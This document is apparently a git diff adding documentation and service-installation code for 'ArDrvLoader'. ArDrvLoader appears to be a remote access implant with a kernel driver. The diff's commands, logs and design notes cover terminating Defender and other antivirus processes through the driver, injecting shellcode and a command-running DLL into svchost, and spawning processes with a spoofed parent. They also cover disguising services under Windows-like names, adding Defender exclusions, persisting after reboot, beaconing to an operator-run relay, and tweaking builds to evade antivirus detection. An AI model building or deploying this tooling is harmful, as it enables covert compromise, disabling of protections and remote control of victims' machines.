ArDrvLoader -killav --name cmd.exe` reports `SKIP own-tree`. +3. **Identity** — the image path is read from the same handle used for termination; if the base name does not match the requested target, the process is skipped. PID recycling cannot swap a different image in mid-operation because the handle is held across the IOCTL. +4. **Access** — PPL images (Defender's `MsMpEng.exe`) refuse `PROCESS_TERMINATE` even for SYSTEM; reported as `SKIP access-denied`, not attempted blindly. +5. **Cap and pacing** — max 16 terminations per run, 150–350 ms jitter between kills, no retry storm. + +``` +ArDrvLoader.exe -killav --dry-run # AV allowlist, nothing terminated +ArDrvLoader.exe -killav --dry-run --name X # single image, dry run +ArDrvLoader.exe -killav --name cmd.exe # real, through the driver +set ARDRV_KILL_DRYRUN=1 # forces dry run for the loader path +``` + +Cloud: `KILLAV` and `KILLAV_DRYRUN`, both returning the full report in the ACK. + +## Launching programs through a system host (`HostSpawn.cpp`) + +Any executable can be started under a legitimate SYSTEM process, with that +process as its parent. This is what makes the child invisible in a process tree +review: `svchost.exe` → `your.exe`, no service host in the chain. + +``` +HOST_LIST # candidate hosts, best first +HOST_SPAWN [args] # SYSTEM, session 0 +HOST_SPAWN_USER [args] # SYSTEM token, moved to the console session +HOST_SPAWN --host wudfhost.exe [args] # force a specific host family +``` + +How it works: + +1. Enumerate processes holding a SYSTEM token (`S-1-5-18`). +2. Probe injectability: `OpenProcess` with thread/VM rights. PPL processes refuse, + so Defender, `lsass`, `winlogon`, `services`, `csrss` drop out automatically. +3. Rank: `svchost.exe` 100, `wudfhost.exe` 60, `dllhost.exe` 50, others 10. +4. Duplicate the host's primary token. +5. `CreateProcessAsUser` with `PROC_THREAD_ATTRIBUTE_PARENT_PROCESS` set to the + host, so the child inherits both the SYSTEM identity and the host as PPID. +6. `HOST_SPAWN_USER` also sets `TokenSessionId` to the active console session and + `winsta0\default`, so a GUI actually appears on the logged-in desktop. + +Verified locally (same-user host, mechanism only — this shell is not elevated): + +``` +-hosts spawn --any-host notepad.exe + OK pid=9704 parent=2280 session=1 host=C:\Windows\System32\svchost.exe method=host-token+ppid + +Win32_Process for pid 9704: + ProcessId : 9704 + ParentProcessId : 2280 ← svchost, as intended +``` + +Local CLI for the same thing: + +``` +ArDrvLoader.exe -host list # SYSTEM hosts +ArDrvLoader.exe -host list --any # every accessible host +ArDrvLoader.exe -host spawn --host svchost.exe "C:\Path\App.exe" --args +ArDrvLoader.exe -host spawn-user ... # visible on the desktop +``` + +**Limitation:** a medium-integrity agent cannot even query SYSTEM processes, so +`HOST_LIST` returns `hosts=0` and `HOST_SPAWN` fails with +`no SYSTEM host process found (need admin or SYSTEM)`. This works when the agent +runs as a service (SYSTEM) or behind the driver's SYSTEM token. If you need the +capability before that, `RUN_SYSTEM` already covers token-based spawning; the +difference is the parent process. + +### Stager injection and re-acquisition (`HostStager.cpp`) + +`HOST_SPAWN` creates a new process under a host. The stager goes further: it +injects a shellcode payload **into** a running SYSTEM host, so the code executes +with `svchost.exe` as its actual image. + +``` +HOST_INJECT [--host ] +HOST_TRACK +HOST_UNTRACK +``` + +Local: `-host inject [--host ] [--any-host]`, `-host track`, +`-host untrack`, `-host ensure [--any-host]`. + +Identity tracking is `{pid, creationTime}` written to +`%ProgramData%\ArDrvLoader\host.track`. Creation time is the key: a recycled PID +whose creation time differs is treated as a dead host, so the loader never +assumes "same pid = same process". + +Re-acquisition: the guard role calls `EnsureHostInjected()` every tick. If the +tracked host is alive it does nothing (`method=already-running`); if it is gone +or the PID was recycled, it picks a fresh host, injects again, and rewrites the +track. Nothing re-injects twice into a live host. + +The guard does this automatically once a payload has been injected — no config +needed beyond the initial `HOST_INJECT`. + +Verified locally with a 1-byte `ret` stub against a same-user `svchost`: + +``` +-host inject stub.bin --any-host + OK host_pid=2280 session=1 method=remote-thread host=C:\Windows\System32\svchost.exe + +-host track + track pid=2280 alive=1 payload=...\stub.bin host=...\svchost.exe + +# creation time corrupted to simulate PID reuse +-host ensure --any-host + OK host_pid=2280 session=1 method=remote-thread ← re-injected + +-host ensure --any-host (host alive this time) + OK host_pid=2280 session=1 method=already-running ← no duplicate injection +``` + +Payload format is raw position-independent shellcode, the same file format +`INJECT_FILE` and `INJECT_SUSPEND` already take, so a Donut/sRDI-generated blob +works unchanged. + +## Service facades + +Installed services no longer carry loader-flavoured names. + +| Role | Service name | Display name | Description | +|---|---|---|---| +| driver | `DeviceSetupHost` | Device Setup Manager Host | Maintains device installation state and loads required kernel components. | +| guard | `ProgramCompatHost` | Program Compatibility Assistant Host | Tracks application compatibility state and keeps registered programs available. | +| repair | `ServiceStateHost` | Service State Repository Host | Monitors service state and restores required components. | + +None of the three collides with a real Windows service (checked with `sc query`). +`--prefix X` still works and produces `XDriver` / `XGuard` / `XRepair`. + +**Install location:** the binary copies itself to +`%ProgramData%\Microsoft\Windows\Caches\\.exe` and the +services run from there, not from Downloads or a user profile. +`--install-dir ` overrides the directory, `--keep-location` disables the +copy entirely. + +**Decoy activity:** every tick each role refreshes a hidden `cache.dat` next to +its binary (timestamp + role) and queries the state of three unrelated services +(`BITS`, `DsmSvc`, `wuauserv`). Cheap, harmless, and it means the process does +something other than stare at one target. + +**Stagger:** roles sleep before their first tick — driver 1.5–3s, guard 4–6s, +repair 8–10.5s — so they never wake in lockstep. + +Preview an install without touching SCM or the registry: + +``` +ArDrvLoader.exe -install-guard-services --dry-run --target "C:\Path\App.exe" +``` + +``` +DRY-RUN install plan + install dir: C:\ProgramData\Microsoft\Windows\Caches\DeviceSetupHost + DeviceSetupHost "Device Setup Manager Host" + ProgramCompatHost "Program Compatibility Assistant Host" + ServiceStateHost "Service State Repository Host" + target: C:\Path\App.exe +``` + +## Where things live (`Paths.cpp`) + +No folder is named after this project. Paths are derived from the machine GUID +(FNV-1a → 8 hex chars) so they are stable on one host and not transferable: + +``` +# service / elevated context +%ProgramData%\Microsoft\Windows\Caches\<8hex>\\.exe +%ProgramData%\Microsoft\Windows\Caches\<8hex>\stage\ downloads (DEPLOY) +%ProgramData%\Microsoft\Windows\Caches\<8hex>\state.dat host tracking + +# agent running as the interactive user +%LOCALAPPDATA%\Microsoft\Windows\INetCache\<8hex>\... +``` + +Selection: SYSTEM or elevated → ProgramData path; ordinary user → LocalAppData +path. If the preferred root cannot be created, the other one is tried, then +`%ProgramData%\ArDrvLoader` as a last resort. + +`state.dat` from the old `%ProgramData%\ArDrvLoader\host.track` is migrated once +on first read. + +Override for testing: + +``` +set ARDRV_ROOT=C:\Temp\ardrv-root +``` + +Layout with the default prefix: + +``` +Caches\<8hex>\ + DeviceSetupHost\DeviceSetupHost.exe service image + cache.dat + ProgramCompatHost\ProgramCompatHost.exe + ServiceStateHost\ServiceStateHost.exe + stage\hello.cmd DEPLOY target + state.dat injected host tracking +``` + +### Verified + +``` +# not elevated, so the per-user root is used +-install-guard-services --dry-run + install dir: C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\f639dc99\DeviceSetupHost + +# forced root +ARDRV_ROOT=%TEMP%\ardrv-root-test + install dir: ...\ardrv-root-test\DeviceSetupHost + -host inject stub.bin --any-host → state.dat written under that root + +# DEPLOY lands in the staging dir +DEPLOY OK ...\INetCache\f639dc99\stage\hello.cmd +``` + +## Payload contract (`StageDll.cpp`, `StageClient.cpp`) + +The working code can live inside a hijacked host instead of the services. The +payload is a small DLL, deliberately dumb: it runs commands and reports back. +All policy — which host, when to re-inject — stays in the loader, so the payload +can be swapped without touching service code. + +**Interface** + +| | | +|---|---| +| Pipe | `\\.\pipe\ArDrvStage` | +| Encoding | UTF-8, request newline-terminated | +| Response | UTF-8 body, terminated by a `<<` line | +| Commands | `PING`, `WHOAMI`, `RUN `, `STOP` | +| Singleton | `Global\ArDrvStage` mutex — a second injection is a no-op | + +`STOP` unloads the DLL with `FreeLibraryAndExitThread` after closing the mutex. +It does **not** kill the host: terminating `svchost.exe` takes unrelated services +with it and leaves an event-log entry. + +**Loader side** + +``` +-stage status alive, dll path, tracked host +-stage inject [--host ] [--any-host] [dll] +-stage whoami who the payload runs as, and in which image +-stage run +-stage stop +``` + +Cloud: `STAGE_STATUS`, `STAGE_INJECT [--host ]`, `STAGE_RUN `, +`STAGE_STOP`. + +Injection is `CreateRemoteThread(LoadLibraryW)` with the path written into the +host. If `ardrvstage.dll` sits next to the loader or in the stage dir, it is +found automatically. + +**Guard integration:** the guard role checks the pipe every tick. If the DLL is +present and the pipe is dead, it re-injects into a fresh host. Once the pipe +answers, the guard stops doing work and only maintains services and liveness — +the jobs run inside the host. + +**Verified** + +``` +-stage inject --any-host + OK host_pid=6320 session=1 method=stage-live host=C:\Windows\System32\svchost.exe + +-stage whoami + OK + DESKTOP-RB1A813\Admin pid=6320 image=C:\WINDOWS\system32\svchost.exe + +-stage run "echo payload-executed" + OK + payload-executed + +-stage stop + OK stopping + → host 6320 still alive, alive=0 + +-stage inject --any-host (after unload) + OK host_pid=6320 method=stage-live ← clean re-injection works +``` + +Note the payload reports the host's own pid and image: the command genuinely +executes inside `svchost.exe`, not in the loader. + +**Packaging:** the payload is packed into the loader as an RCDATA resource, so a +single `ArDrvLoader.exe` is enough. On first use it is extracted to +`\ardrvstage.dll` and loaded from there. A DLL sitting next to the +executable or in the stage dir still takes precedence, which is useful for +swapping the payload without rebuilding. + +Build both in the right order: + +``` +powershell -ExecutionPolicy Bypass -File build.ps1 # Release +powershell -ExecutionPolicy Bypass -File build.ps1 -Configuration Debug +powershell -ExecutionPolicy Bypass -File build.ps1 -SkipPayload # loader only +``` + +`build.ps1` builds `StageDll.vcxproj`, copies the DLL to the project root so +`stage_res.rc` can embed it, then builds the loader. Sizes after a full build: +Release 284 KB (loader with 43 KB payload inside), Debug 2.39 MB. + +Verified end to end with no DLL on disk: + +``` +# staged copy deleted, x64\Release\ardrvstage.dll moved aside +-stage status + alive=0 dll=C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\f639dc99\stage\ardrvstage.dll + → extracted from the executable, 43008 bytes on disk + +-stage inject --any-host + OK host_pid=6320 method=stage-live + +-stage whoami + DESKTOP-RB1A813\Admin pid=6320 image=C:\WINDOWS\system32\svchost.exe +``` + +## Driver (`ardrv.sys`) + +Place `ardrv.sys` next to the project before building and `build.ps1` embeds it as +RCDATA, the same way the payload DLL is embedded. One file then carries the +driver, the payload, and the service code. + +``` +-drv status device available? embedded image size +-drv extract write the packed image out and compare +-drv kill terminate through the kernel +``` + +The driver role extracts to `C:\Windows\System32\drivers\ardrv.sys` when missing, +creates the kernel service, starts it and waits for `\\.\ArDrv`. + +### Termination reach + +`KillSafety` now has two paths: + +1. Normal: `OpenProcess(PROCESS_TERMINATE)` succeeds, identity verified, driver + IOCTL is only the transport. +2. Blind: the process refuses even `PROCESS_QUERY_LIMITED_INFORMATION` (PPL image + or we are not elevated). The kill is still possible through the driver, so the + PID is re-verified against a fresh snapshot and handed to the kernel. Only + enabled for the AV allowlist and for `--force`; the protected list still + refuses `svchost`, `csrss`, `lsass` etc. before any of this runs. + +Verified on this machine, non-elevated: + +``` +-killav --name MsMpEng.exe --force + EXECUTED killed=1 candidates=1 + 11008 killed ← PPL process, terminated through the driver + +after: WinDefend restarted as a new pid, and reported + AntivirusEnabled : False + RealTimeProtectionEnabled: False +``` + +`-killav --dry-run` reports blind candidates as `would-kill (driver)` so the plan +is visible without terminating anything. + +Driver image check: + +``` +-drv status → device=ok embedded=17744 bytes +-drv extract → 17744 bytes, SHA-256 matches ardrv.sys +``` + +## Exclusions (`Exclusions.cpp`) + +Defender exclusions are attempted through `Add-MpPreference`, then read back with +`Get-MpPreference` so the answer is the truth, not the intent. + +``` +-excl list current exclusions + whether Defender is present +-excl add persist and apply one path +-excl apply apply the stored list (defaults if empty) + +EXCLUSION_LIST cloud variant of list +EXCLUSION_ADD cloud variant of add +EXCLUSION_APPLY cloud variant of apply +``` + +Default wish-list is the deep root, the stage dir, and the loader executable. +The list is stored at `HKLM\SOFTWARE\ArDrvLoader\ExclusionPaths`, `|` separated, +and re-applied on every guard start. + +**What it actually reports.** Non-elevated run: + +``` +defender=present current=none + +apply → + REFUSED ...\INetCache\f639dc99 :: CimException + REFUSED ...\INetCache\f639dc99\stage :: CimException + REFUSED ...\x64\Release\ArDrvLoader.exe :: CimException +``` + +`CimException` is Tamper Protection / missing privilege refusing the change. The +code returns failure and says so. It does not pretend the exclusion landed. + +## Recovery after a bugcheck or reboot + +Everything is auto-start, so a crash is recoverable by design. The guard's first +tick after any start reinstates state in this order: + +1. Defender exclusions (stored list, defaults if empty) +2. AV sweep — `KillAVProcessesEx` through the driver +3. driver image + kernel service (driver role) +4. host payload / stage payload re-injection (`HOST_TRACK`, `STAGE_STATUS`) +5. target program start, peer services + +Verified by starting a guard console on a machine where Defender had come back: + +``` +[+] Terminate IOCTL accepted for PID 340 +[+] Terminate IOCTL accepted for PID 14848 +[guard] AV sweep on start: EXECUTED killed=2 candidates=2 +[guard] program is not running, starting: C:\Windows\System32\notepad.exe +[+] Target started: PID 6992 +``` + +`KillAvOnStart` (REG_DWORD under `HKLM\SOFTWARE\ArDrvLoader`) controls step 2 and +defaults to **0** — the AV sweep is opt-in, not something every service start does. +Set it to `1` only if you want the sweep on each boot. + +### Driver failure budget + +A driver that bugchecks on load could otherwise be retried on every boot forever. +`ArDrvDriver` now counts consecutive load failures and stops: + +| Value | Meaning | +|---|---| +| `DriverFailCount` (REG_DWORD) | consecutive failures, persisted | +| `DriverFailMax` (REG_DWORD, default 3) | budget | +| `DriverState` (REG_SZ) | `ok` / `failed` / `disabled-after-failures` | + +The counter is also kept in memory, so the budget still applies when the registry +write is denied. Once exhausted the role logs once, sets `disabled-after-failures` +and stops touching the driver until someone clears it. + +``` +-drv status device, embedded size, fail=N/max, state +-drv reset clear the counter (needs admin) +DRIVER_STATUS cloud equivalent +DRIVER_RESET clear and report +``` + +Verified with a bogus image and service name: + +``` +[driver] load failed (1/3) +[driver] load failed (2/3) +[driver] load failed (3/3) +[driver] failure budget exhausted (3/3), not retrying +``` + +`DRIVER_STATUS` on a healthy box: + +``` +device=ok embedded=17744 fail=0/3 state=unset service=ArDrv:running +``` + +## One UAC, then nothing + +`ArDrvLoader.exe` elevates itself when a command needs administrator rights, so a +normal user can run the install and approve a single UAC prompt. Everything after +that is done by the services, which are LocalSystem. + +``` +ArDrvLoader.exe -install-guard-services ^ + --target "C:\Path\App.exe" ^ + --cloud-url https://worker.example ^ + --cloud-secret ^ + --cloud-agent +``` + +That one line, from a non-elevated shell: + +1. relaunches itself elevated (single UAC) +2. stops any previous generation of the services so the binary can be replaced +3. copies itself to `%ProgramData%\Microsoft\Windows\Caches\<8hex>\\` +4. installs and starts driver, guard and repair as LocalSystem +5. installs and starts a cloud agent service with the URL/secret/agent baked into + its command line +6. applies the config, exclusions and driver image + +Elevation is only requested for commands that need it: + +| Elevated | Runs as-is | +|---|---| +| `-install-guard-services` (without `--dry-run`) | `-cloud`, `-cloud-service` | +| `-killav` (without `--dry-run`) | `-stage *`, `-host *` | +| `-drv extract/reset/kill` | `-excl list`, `-install-guard-services --dry-run` | +| `-excl add/apply` | `-service * --console` | + +`--elevated` suppresses the relaunch and is appended automatically, so an +elevated copy never loops into another UAC. + +Verified on a standard user account, one prompt: + +``` +-install-guard-services --target notepad.exe --allow-vm \ + --cloud-url http://127.0.0.1:8788 --cloud-secret testsecret \ + --cloud-agent testagent --cloud-service CloudTest +PARENT_EXIT=0 elapsed=2.3s + +DeviceSetupHost RUNNING "...\DeviceSetupHost.exe" -service driver ... +ProgramCompatHost RUNNING "...\DeviceSetupHost.exe" -service guard ... +ServiceStateHost RUNNING "...\DeviceSetupHost.exe" -service repair ... +CloudTest RUNNING "...\DeviceSetupHost.exe" -cloud-service --url ... --secret ... --agent ... +``` + +All four run from the installed copy, not from the build directory. Agent ACK +after the reinstall: + +``` +OK → C:\Test\second.txt "installed with one UAC" Owner: BUILTIN\Administrators +``` + +`CloudSyncHost` is the default name when `--cloud-service` is not given. + +**Remote deployment caveat:** this one-UAC flow applies when the binary is started +in an interactive session. Over a remote channel (SMB, WinRM, PsExec-style) no +UAC prompt can appear, so the call must already arrive with administrator or +SYSTEM rights. Self-elevation is for the "user double-clicks the file" case. + +## Architecture: agent -> Worker (proxy) -> relay server + +``` +agent ──HMAC──► Cloudflare Worker ──► relay server (node) ──► sqlite + panel +operator ─────► Cloudflare Worker ──► relay server +``` + +The Worker owns **nothing**. It forwards every method, path, header and body to +`SERVER_URL` and streams the response back. State, auth, the panel and payloads +all live on your own host. + +### Worker side + +`cloudflare/worker.js` — about 60 lines: + +- sets `X-Proxy-Secret` when `PROXY_SECRET` is configured +- strips Cloudflare headers (`cf-connecting-ip`, `cf-ray`, ...) before forwarding +- passes `request.body` straight through for POST bodies +- returns 502 with the reason when the relay is unreachable + +`cloudflare/wrangler.toml`: + +```toml +[vars] +SERVER_URL = "http://127.0.0.1:8790" +``` + +`PROXY_SECRET` goes in as a Worker secret, not in `wrangler.toml`. + +### Relay server + +`server/server.js` — Node 22+ (uses `node:sqlite`, no npm dependencies). + +```bash +cd cpp_end/server +set AGENT_SECRET=... OPERATOR_KEY=... ENROLL_SECRET=... +node server.js +``` + +| Env | Purpose | +|---|---| +| `PORT` | listen port, default 8790 | +| `DATA_DIR` | sqlite database + `files/` payload dir | +| `PANEL_PATH` | defaults to `server/panel.html` | +| `AGENT_SECRET` | master key for per-agent derivation | +| `OPERATOR_KEY` | panel / operator API key | +| `ENROLL_SECRET` | enrollment token | +| `LEGACY_MASTER_AUTH` | `true` accepts the old shared key during rollout | +| `PROXY_SECRET` | when set, every request must carry `X-Proxy-Secret` | + +Everything from the previous Worker implementation moved here unchanged: HMAC +verification, per-agent key derivation, enrollment, revocation, the 180 s reaper, +broadcast, command history and the panel. + +Storage is `data/ardrv.sqlite` (`agents`, `commands`, `events`). Payloads for +`/file/` are read from `data/files/`. + +### Verified end to end + +``` +agent devbox → worker :8789 → server :8790 → sqlite online +agent devbox2 → same path online +POST /api/enqueue via worker → PING → done, result PONG +GET /panel via worker → 200, panel.html from the server +GET :8790/api/agents with no proxy header → 403 +``` + +### Local loop + +``` +# relay +cd cpp_end/server +node server.js + +# worker in front of it +cd cpp_end/cloudflare +wrangler dev --port 8789 --ip 127.0.0.1 --local + +# agent +ArDrvLoader.exe -cloud --agent devbox --url http://127.0.0.1:8789 ... +``` + +`.dev.vars` for the worker only needs `SERVER_URL` and `PROXY_SECRET` now. + +### Mock worker + +`cloudflare/mock-worker.ps1` still exists as a self-contained stand-in (in-memory +API, serves `../server/panel.html`) for environments without Node or wrangler. +It does not exercise sqlite, so it will not catch database errors. + +### Panel + +Served by the relay at `/panel`, proxied by the Worker. `?key=` pre-fills the +operator key and stores it in `localStorage`. + +**Console tab** — per-agent composer, quick chips, history cards with `copy result` +and `run again`. + +**All commands tab** — every command, defaulting to executed ones: + +| Column | Sorts by | +|---|---| +| time | creation | +| agent | id | +| command | text | +| state | queued / sent / done | +| by | panel / agent / broadcast | +| result | ack text, truncated | +| took | duration, `waiting` while in flight | + +Each row carries two controls plus the row itself: + +| Action | Effect | +|---|---| +| small `run` chip | re-enqueue this command for the same agent after a confirm | +| `+` or the result cell | expand the full result inline | +| anywhere else on the row | load the command into that agent's console, ready to edit | + +Free-text filter and a state dropdown above the table. + +**Palette** — `all commands (47)` opens every `HELP` command grouped into basics, +execute, files, processes, security, driver, hosts, payload, services, session, +with a search box. Chips with arguments load the template into the composer; the +rest send immediately. + +**Agent header** — host, user, SID, version, interval, plus `revoke` / `restore` +for the agent's key. Revoked agents show a red tag in the list. + +Broadcast sends one command to every online agent. + +## Per-agent keys and revocation + +Each agent now authenticates with its own key instead of the shared master. + +``` +agentKey = HMAC-SHA256(AGENT_SECRET, "agent:" + agentId) --> hex +signature = HMAC-SHA256(agentKey, canonical request) +``` + +The worker derives the key on demand and never stores it. + +**Enroll once per agent** + +``` +ArDrvLoader.exe -enroll --url https:// --agent --enroll-secret +``` + +Writes `%...%\agent-.key` under the loader root (falls back to the legacy +single `agent.key`). The agent reads it automatically when `--secret` and +`CA_SECRET` are absent. + +**Revoke / restore** + +``` +POST /api/revoke {"agent":"devbox","revoked":true} X-Operator-Key required +``` + +Revoked agents get `403 revoked` on every poll. Re-enrolling the same id clears +the flag, so recovery is one command. The panel exposes this as a +`revoke` / `restore` button in the agent header, plus a red `revoked` tag in the +agent list. + +**Worker endpoints added** + +| Method | Path | Auth | +|---|---|---| +| POST | `/api/enroll` | `X-Enroll-Secret` (own token, not the operator key) | +| POST | `/api/revoke` | operator | + +`LEGACY_MASTER_AUTH=true` keeps accepting the old shared key during a rollout; +it defaults to off. `.dev.vars` for local runs: + +``` +AGENT_SECRET=testsecret +OPERATOR_KEY=testop +ENROLL_SECRET=testenroll +LEGACY_MASTER_AUTH=false +``` + +Verified end to end against workerd + local D1: + +``` +-enroll OK agent=devbox secret stored in ...\agent-devbox.key +agent start no --secret, reads the file -> poll 200 +master key signed request -> 403 denied +derived key signed request -> PONG +revoke age stops growing, revoked=true +re-enroll revoked=false, agent resumes within one poll +two agents devbox + devbox2, separate key files, both online +``` + +One bug this shook out: the first implementation compared the derived key itself +against the request signature instead of signing the request with it, so every +request 403'd. Fixed by computing `hmacHex(agentKey, canonical)`. + +## Antivirus triage + +A fresh build was flagged as `Trojan:Win32/Wacatac.B!ml` - a machine-learning +verdict, not a signature. Two build properties were feeding it: + +1. the linker embedded the full local build path (`C:\Code\AvKiler\...`) +2. the Rich header and timestamps carried a recognisable toolchain fingerprint + +Changes: + +| Linker option | Why | +|---|---| +| `/Brepro` | reproducible build: drops the Rich header and embeds a stable hash instead of timestamps | +| `/PDBALTPATH:%_PDB%` | keeps absolute build paths out of the binary | + +Result on the same Defender engine (1.461.217.0): + +``` +MpCmdRun -Scan -ScanType 3 -File dist\Release\ArDrvLoader.exe -DisableRemediation +Scanning ... found no threats. +``` + +Both variants scan clean: the embedded single-exe build (335 360 bytes) and the +`-NoEmbed` build (274 432 bytes). Execution of the rebuilt exe produced no new +detection entries. + +### Embedded vs -NoEmbed + +``` +build.ps1 -Configuration Release # 335 KB, driver + stage DLL inside +build.ps1 -Configuration Release -NoEmbed # 274 KB, resources omitted +``` + +`-NoEmbed` passes `/p:EmbedPayload=false`, which disables both `driver_res.rc` +and `stage_res.rc`. The exe then needs `ardrv.sys` and `ardrvstage.dll` delivered +separately - for example `DOWNLOAD` them into the stage dir after the cloud agent +is up, since the agent itself does not need either file to register. + +### What this does not solve + +- The binary is **unsigned**. SmartScreen will still warn on a freshly + downloaded copy (Mark of the Web), independent of Defender's static verdict. +- Detection on execution is behavioural: creating services, writing to + System32, terminating AV processes. A static-clean binary can still be caught + in real time once it acts. Code signing (EV / Azure Trusted Signing) is the + durable fix, not more static tricks. + +## Build variants + +| Config | Subsystem | Console | Logs | Use | +|---|---|---|---|---| +| Release | `Windows` | none, silent start | compiled out | deploy | +| Debug | `Console` | visible | `C:\Users\Public\ardrv_loader.log` | diagnose | + +Release links with `SubSystem=Windows` and `EntryPointSymbol=wmainCRTStartup`, so +double-clicking produces **no console window** while `wmain` still runs normally. +`Logger.h` compiles every `Log()` call out of Release, so there is no log file and +no `OutputDebugString` either. + +Elevation now happens **before** the VM gate: a double-click always raises the UAC +prompt, even on a host the gate would later refuse. + +`ARDRV_ALLOW_VM_DEFAULT=1` is compiled in for lab images that are themselves +virtual machines; set it to `0` for a real target build. + +## Single-exe client + +`ArDrvLoader.exe` is the whole client. No Worker code, no server code, no +sidecar files - verified by scanning the binary for `worker.js`, `server.js`, +`express`, `node:sqlite`, `wrangler`, `cloudflare`. + +**Double-click** (no arguments) runs the bootstrap with defaults baked in at +build time: + +| Macro | Meaning | Current value | +|---|---|---| +| `ARDRV_DEFAULT_URL` | relay/Worker address | `http://127.0.0.1:8789` | +| `ARDRV_DEFAULT_OPERATOR_KEY` | operator key for the API | `testop` | +| `ARDRV_DEFAULT_SECRET` | agent key | `testsecret` | +| `ARDRV_DEFAULT_AGENT` | agent id | empty - computer name is used | + +Rebuild with different values by editing those macros in `ArDrvLoader.vcxproj` +(`PreprocessorDefinitions`), or override at runtime: + +``` +ArDrvLoader.exe -bootstrap --url https://relay.example --operator-key [--agent ] [--no-killav] +``` + +Flow with no arguments: + +1. VmGate, then self-elevation - one UAC +2. driver + three services + cloud agent service against the baked URL +3. wait for the agent to register (id = computer name) +4. queue `KILLAV` through the server so the run appears in the panel +5. print the result + +Verified: + +- binary scan: no server/worker strings +- no-arg dispatch reaches bootstrap and picks `DESKTOP-RB1A813` as the agent id +- explicit-args bootstrap from one copied exe: services running, agent online, `KILLAV done` +- non-elevated run stops at `Cannot write HKLM\SOFTWARE\ArDrvLoader`, as expected + +## Single-exe client bootstrap + +One file is enough on a fresh machine: + +``` +ArDrvLoader.exe -bootstrap --url https://relay.example --operator-key \ + [--agent ] [--secret ] [--target ] [--no-killav] +``` + +It elevates itself once, installs driver + three services + the cloud agent +service pointing at the given URL, waits for the agent to register, then queues +`KILLAV` through the server so the run is visible in the panel as a normal +command. Driver image and stage payload are embedded, nothing else is copied. + +`start-all.cmd -Url https://relay.example` is a thin wrapper for local testing; it +starts nothing on the server side. + +**Offline detection fix:** the panel compared `last_seen` (seconds) against +`interval * 3` (milliseconds), so an agent that had been dead for twenty minutes +still showed as online. Now `interval` is converted to seconds, and stale agents +render grey with `online=false`. + +**Installer retry:** replacing the service binary right after stopping the +services can hit a sharing violation while the old image is still mapped. The +copy now retries for up to 10 s instead of failing the install and leaving the +services stopped. + +Verified with a single copied exe in an empty folder: + +``` +EXIT=0 +services: DeviceSetupHost=Running ProgramCompatHost=Running ServiceStateHost=Running CloudTest=Running +agents: newuser1 online, five older agents offline +commands: newuser1 KILLAV done "OK EXECUTED killed=2 candidates=2" +``` + +## Reliability fixes + +| Problem | Fix | +|---|---| +| A new loader kept injecting the old stage DLL | `StageDllPath()` now compares the embedded resource byte-for-byte with the file on disk and rewrites it when they differ | +| The 180 s reaper could make a slow command run twice | the agent keeps the last 512 executed command ids; a re-delivery is acknowledged as `OK (dup, not re-executed)` without running | +| SQLite writer contention and unbounded growth | relay opens with `journal_mode=WAL`, `busy_timeout=5000`, `synchronous=NORMAL`, and prunes once a minute | + +Retention defaults, overridable by env: commands older than 7 days, events older +than 30 days, hard cap of 50,000 commands (`RETAIN_COMMAND_DAYS`, +`RETAIN_EVENT_DAYS`, `RETAIN_MAX_COMMANDS`). + +Verified: + +``` +stage dll zeroed (43008 bytes) -> -stage status rewrites it, first bytes are MZ +command requeued in sqlite -> agent acks "OK (dup, not re-executed)" +relay start log -> journal mode: wal +``` + +## Still open + +- Pin the Worker's public key (SPKI) so a rogue CA cannot MITM the channel. +- Encrypt `HKLM\Software\CloudAgent` secrets at rest with DPAPI (the guard config + key is DACL-hardened, the cloud config key is not). +- `DOWNLOAD` leaves payloads on disk; add a retention/cleanup pass. +- Driver device object ACL cannot be verified from this repo (no driver source). diff --git a/ServiceManager.cpp b/ServiceManager.cpp new file mode 100644 index 0000000..1ffea06 --- /dev/null +++ b/ServiceManager.cpp @@ -0,0 +1,267 @@ +#include "Common.h" +#include "ServiceManager.h" +#include "Logger.h" + +bool EnsureWin32Service( + const wchar_t* serviceName, + const wchar_t* binaryPath, + bool startNow) +{ + if (!serviceName || !binaryPath) + return false; + + SC_HANDLE scm = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_ALL_ACCESS); + if (!scm) + { + Log(L"[-] OpenSCManager failed: %lu", GetLastError()); + return false; + } + + SC_HANDLE svc = CreateServiceW( + scm, + serviceName, + serviceName, + SERVICE_CHANGE_CONFIG | SERVICE_START | SERVICE_QUERY_STATUS, + SERVICE_WIN32_OWN_PROCESS, + SERVICE_AUTO_START, + SERVICE_ERROR_NORMAL, + binaryPath, + nullptr, + nullptr, + nullptr, + nullptr, + nullptr); + + DWORD lastErr = GetLastError(); + + if (!svc && lastErr == ERROR_SERVICE_EXISTS) + { + svc = OpenServiceW( + scm, + serviceName, + SERVICE_CHANGE_CONFIG | SERVICE_START | SERVICE_QUERY_STATUS); + } + + if (!svc) + { + Log(L"[-] Open/Create service failed: %lu", lastErr); + CloseServiceHandle(scm); + return false; + } + + if (!ChangeServiceConfigW( + svc, + SERVICE_NO_CHANGE, + SERVICE_AUTO_START, + SERVICE_ERROR_NORMAL, + binaryPath, + nullptr, + nullptr, + nullptr, + nullptr, + nullptr, + nullptr)) + { + Log(L"[!] ChangeServiceConfigW failed: %lu", GetLastError()); + } + + if (startNow) + { + SERVICE_STATUS st{}; + bool running = QueryServiceStatus(svc, &st) && st.dwCurrentState == SERVICE_RUNNING; + + if (!running) + { + if (!StartServiceW(svc, 0, nullptr)) + { + DWORD e = GetLastError(); + + if (e != ERROR_SERVICE_ALREADY_RUNNING) + Log(L"[-] StartService failed: %lu", e); + } + else + { + Log(L"[+] Service started"); + } + } + else + { + Log(L"[+] Service already running"); + } + } + + CloseServiceHandle(svc); + CloseServiceHandle(scm); + + return true; +} + +bool IsServiceRunning(const wchar_t* serviceName) +{ + if (!serviceName) + return false; + + SC_HANDLE scm = OpenSCManagerW(nullptr, nullptr, SC_MANAGER_CONNECT); + if (!scm) + return false; + + SC_HANDLE svc = OpenServiceW(scm, serviceName, SERVICE_QUERY_STATUS); + if (!svc) + { + CloseServiceHandle(scm); + return false; + } + + SERVICE_STATUS st{}; + bool running = QueryServiceStatus(svc, &st) && st.dwCurrentState == SERVICE_RUNNING; + + CloseServiceHandle(svc); + CloseServiceHandle(scm); + + return running; +} + +bool EnsureLocalSystemService( + const wchar_t* serviceName, + const wchar_t* binaryPath, + bool startNow, + bool restartOnFailure, + const wchar_t* displayName) +{ + if (!serviceName || !binaryPath) + return false; + + const wchar_t* display = (displayName && *displayName) ? displayName : serviceName; + + SC_HANDLE scm = 